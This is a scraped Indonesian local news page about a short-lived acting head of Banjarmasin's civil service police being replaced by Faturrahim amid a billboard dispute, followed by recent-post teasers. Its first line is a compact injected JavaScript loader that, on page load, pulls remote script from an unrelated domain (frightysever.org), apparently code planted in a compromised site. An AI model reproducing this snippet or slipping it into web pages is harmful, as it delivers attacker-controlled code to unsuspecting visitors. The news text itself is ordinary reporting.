(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Tiga Hari Jabat Plt Kepala Satpol PP, Gazi Ahmadi Diganti Faturrahim


KANALKALIMANTAN.COM, BANJARMASIN – Hanya tiga hari menjabat Pelaksana Tugas (Plt) Kepala Satpol PP dan Damkar Kota Banjarmasin, terhitung sejak Senin (22/6/2020), Gazi Ahmadi menyatakan mundur. Asisten I Setdako Banjarmasin tersebut menyampaikan pengunduran diri kepada Wali Kota Ibnu Sina dengan alasan keluarga.

Ihwal pengunduran diri Gazi, dibenarkan Ibnu Sina saat ditanya media, pada Jumat (26/6/2020).

“Ya, kemarin beliau menyatakan mengundurkan diri dengan alasan keluarga,” kata Ibnu.

Lantas, siapa yang akan mengisi kekosongan jabatan Plt. Kasatpol PP? Ibnu mengaku sudah menunjuk Dr Faturrahim untuk menggantikan Gazi. Faturrahim merupakan Staf Ahli Wali Kota Banjarmasin dan pernah menjabat sebagai Sekretaris DPRD Kota Banjarmasin. Ia mulai aktif menjabat Plt Kasatpol PP Kota Banjarmasin terhitung hari ini, Jumat (26/6/2020). “Tadi pagi sudah saya informasikan. Pak Sekda sudah memproses untuk pembuatan SK-nya,” lugas Ibnu.

Ia meminta kepada pejabat baru ini, untuk segera menyelesaikan permasalahan bando reklame, yang merupakan muara dari permasalahan Pemko Banjarmasin dengan Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalimantan Selatan.

“Kemudian segera dibereskan yang berserakan di jalan, karena mengganggu pengguna jalan. Saya juga khawatir kalau menimbulkan kecelakaan. Termasuk yang dipotong separuh untuk dibereskan,” jelas Ibnu.

Disamping itu, Ibnu juga sudah meminta penjelasan dari Kabag Hukum Setdako Banjarmasin soal isi Perda Nomor 16 Tahn 2014. Disebutkan bahwa tidak ada yang saling bertentangan antara Perda ini dengan Permen PU Nomor 20 Tahun 2010. “Hanya kita saja yang memahaminya berbeda. Saya minta tafsir ini bagaimana, sih? Yang dibolehkan itu bando di lapangan. Kalau di tengah jalan tidak boleh. Coba dibaca lagi perdanya,” tukas Ibnu.

Seperti diketahui, Ichwan Noor Chalik yang tadinya menjabat Plt. Kasatpol PP Kota Banjarmasin dicopot pada Senin (22/6/2020) lantaran melakukan penertiban bando reklame pada Jumat (18/6/2020). Buntut dari penertiban ini, APPSI Kalsel lantas melaporkan Ichwan ke Polda Kalsel. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

1 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

14 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

16 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

16 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

18 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.